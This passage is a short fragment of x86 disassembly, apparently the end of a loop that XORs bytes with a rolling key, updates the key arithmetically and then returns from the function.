mov al, byte [edx + eax - 1]
movzx edx, di
shr edx, 8
xor al, dl
pop edx
mov byte [edx], al
movzx eax, bx
mov edx, dword [esi]
movzx eax, byte [edx + eax - 1]
add di, ax
imul di, word [ebp - 2]
add di, word [ebp + 0xc]
inc ebx
dec word [ebp - 4]
jne 0x3314725b
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8